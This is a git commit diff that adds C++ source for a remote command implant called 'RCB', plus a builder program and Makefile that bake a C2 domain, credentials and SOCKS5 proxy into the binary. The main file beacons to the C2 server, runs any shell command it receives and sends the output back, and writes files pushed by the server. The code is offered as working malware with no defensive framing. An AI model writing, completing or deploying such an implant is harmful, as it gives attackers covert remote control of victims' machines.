commit 8fce3c4f76a4ef0423658ad41edd5d5adad367c6 Author: elimin8 Date: Thu Mar 3 17:29:01 2022 +0000 First commit diff --git a/MakeRCB b/MakeRCB new file mode 100755 index 0000000..8dd3118 Binary files /dev/null and b/MakeRCB differ diff --git a/MakeRCB.cpp b/MakeRCB.cpp new file mode 100644 index 0000000..953d9cf --- /dev/null +++ b/MakeRCB.cpp @@ -0,0 +1,27 @@ +#include +#include + +int main() +{ + std::string sUsername; + std::string sPassword; + std::string sC2Domain; + std::string sProxy; + + std::cout << "Enter the username to be used by RCB: "; + std::cin >> sUsername; + + std::cout << "Enter the password to be used by RCB: "; + std::cin >> sPassword; + + std::cout << "Enter the C2 domain to be used by RCB: "; + std::cin >> sC2Domain; + + std::cout << "Enter the socks5 proxy address to be used by RCB: "; + std::cin >> sProxy; + + std::string sCommand = "sUsername=" + sUsername + " sPassword=" + sPassword + " sC2Domain=" + "http:/" + sC2Domain + " sProxy=" + "socks5h:/" + sProxy + " make"; // todo: figure out why this works and why // doesn't + const char *cCommand = sCommand.c_str(); // convert string to c string for running as command + + system(cCommand); // run the make command with environment variables +} diff --git a/Makefile b/Makefile new file mode 100755 index 0000000..066b5fd --- /dev/null +++ b/Makefile @@ -0,0 +1,7 @@ +$(info username is $(sUsername)) +$(info password is $(sPassword)) +$(info c2 domain is $(sC2Domain)) +$(info proxy is $(sProxy)) + +default: + g++ -DsUsername="$(sUsername)" -DsPassword="$(sPassword)" -DsC2Domain="$(sC2Domain)" -DsProxy="$(sProxy)" RCB.cpp -o RCB -lcurl diff --git a/RCB b/RCB new file mode 100755 index 0000000..f0d4a1d Binary files /dev/null and b/RCB differ diff --git a/RCB.cpp b/RCB.cpp new file mode 100755 index 0000000..cca8486 --- /dev/null +++ b/RCB.cpp @@ -0,0 +1,179 @@ +#include +#include + +#include +#include +#include +#include + +#define STR1(x) #x // double string expansion nightmare +#define STR(x) STR1(x) + +size_t writeCallback(void *contents, size_t size, size_t nmemb, std::string *s) +{ + size_t newLength = size * nmemb; + try + { + s->append((char *)contents, newLength); + } + catch (std::bad_alloc &e) + { + // handle memory problem + return 0; + } + return newLength; +} + +std::string sendData(std::string sParam1, std::string sValue1, std::string sParam2 = "", std::string sValue2 = "") +{ + CURL *curl; + CURLcode res; + std::string sReadData; + std::string sWriteData = sParam1 + "=" + sValue1; + + if (sParam2 != "") + { + sWriteData = sWriteData + "&" + sParam2 + "=" + sValue2; + } + + curl = curl_easy_init(); // init curl + + if (curl) + { + curl_easy_setopt(curl, CURLOPT_PROXY, STR(sProxy)); // set proxy to use + curl_easy_setopt(curl, CURLOPT_URL, STR(sC2Domain)); // c2 domain to connect to + curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); // http basic auth + curl_easy_setopt(curl, CURLOPT_POST, 1L); // choose http post method + curl_easy_setopt(curl, CURLOPT_USERNAME, STR(sUsername)); // set username for http auth + curl_easy_setopt(curl, CURLOPT_PASSWORD, STR(sPassword)); // set password for http auth + curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback); // write function for storing response + //char *cWriteData = curl_easy_escape(curl, sWriteData.c_str(), sWriteData.length()); + curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE, sWriteData.length()); // set the post request field size + curl_easy_setopt(curl, CURLOPT_POSTFIELDS, sWriteData.c_str());//); // choose the data to send in the post request + curl_easy_setopt(curl, CURLOPT_WRITEDATA, &sReadData); // write the data to the writeCallback function + curl_easy_perform(curl); // run query + } + return sReadData; +} + +std::string exec(std::string sCommand) // takes a pointer to an array of char containing the command and executes it in the shell, returning the stdout +{ + std::array buffer; // define 128 length array of char for buffering stdout to result + std::string result; // declare string result for later use + std::unique_ptr pipe(popen(sCommand.c_str(), "r"), pclose); // run popen with the command as an argument + if (!pipe) // if the popen was unsuccessful for whatever reason + { + throw std::runtime_error("popen() failed!"); // throw runtime error + } + while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) // whilst data is being written to the stdout, add the buffered data to the result string + { + result += buffer.data(); + } + return result; // return the result of the command +} + +int main() +{ + const std::string sOk = "msg=acknowledged"; + std::regex rRun("^run=(.|\n)+"); // compile regular expression rRun, which matches the run command (to execute an instruction) + std::regex rUpload("^filename=(.|\n)+"); // compile regular expression rUpload, which matches the filename command (to upload a file) + std::string sResponse; // declare string sResponse for later use + srand(time(0)); // init srand with the current unix time as the seed + + sResponse = sendData("msg", "ready", "type", "basic"); + std::cout << sResponse << std::endl; + if (sResponse == sOk) // if the server acknowledges our connection + { + while (true) + { + sResponse = sendData("msg", "reqcmd"); + std::cout << sResponse << std::endl; + + if (std::regex_match(sResponse, rRun)) // if the server has provided us with a command to run + { + std::vector sData; // declares a vector of strings sData + std::string sSplit; // declares string sSplit for later use + for (int i = 0; i < sResponse.length(); i++) // for each char in the sCommand string + { + if (sResponse[i] == '=') // if we have reached the end of the parameter + { + sData.push_back(sSplit); // add the sSplit string to the vector of strings sCommands + sSplit = ""; // set sSplit to empty + } + else // otherwise + { + sSplit.push_back(sResponse[i]); // add the selected char to the sSplit string + if (i == (sResponse.length() - 1)) // if we have reached the end of the sCommand string + { + sData.push_back(sSplit); // then add the sSplit string to the vector of strings sCommands + } + } + } + + std::string sOutput = exec(sData[1]); + std::cout << sOutput; + sResponse = sendData("result", sOutput); // execute the command, saving the response to sResponse + std::cout << sResponse << std::endl; + + while (true) + { + if (sResponse != sOk) // if server does not respond as expected + { + sResponse = sendData("result", sOutput); // send returned data again + std::cout << sResponse << std::endl; + } + else + { + break; + } + sleep(5); // perform this loop every 5 secs + } + } + + else if (std::regex_match(sResponse, rUpload)) + { + std::ofstream fFile; + std::vector sData; // declares a vector of strings sData + std::string sSplit; + for (int i = 0; i < sResponse.length(); i++) + { + /*if (sResponse[i] == '\n' && bFilename == true) + { + sData.push_back(sSplit); // add the sSplit string to the vector of strings sCommands + sSplit = ""; // set sSplit to empty + bFilename = false; + }*/ + + if (sResponse[i] == '=' || sResponse[i] == '&') // if we have reached the end of the parameter + { + sData.push_back(sSplit); // add the sSplit string to the vector of strings sCommands + sSplit = ""; // set sSplit to empty + } + + else // otherwise + { + sSplit.push_back(sResponse[i]); // add the selected char to the sSplit string + if (i == (sResponse.length() - 1)) // if we have reached the end of the sCommand string + { + sData.push_back(sSplit); // then add the sSplit string to the vector of strings sCommands + } + } + } + + fFile.open(sData[1]); // open a file for writing with the filename provided + + if (fFile) + { + fFile << sData[3]; // write the content of the file + std::cout << sendData("msg", "saved"); + } + else + { + std::cout << "Could not write to local file." << std::endl; + std::cout << sendData("msg", "error"); + } + } + } + } + return 0; +}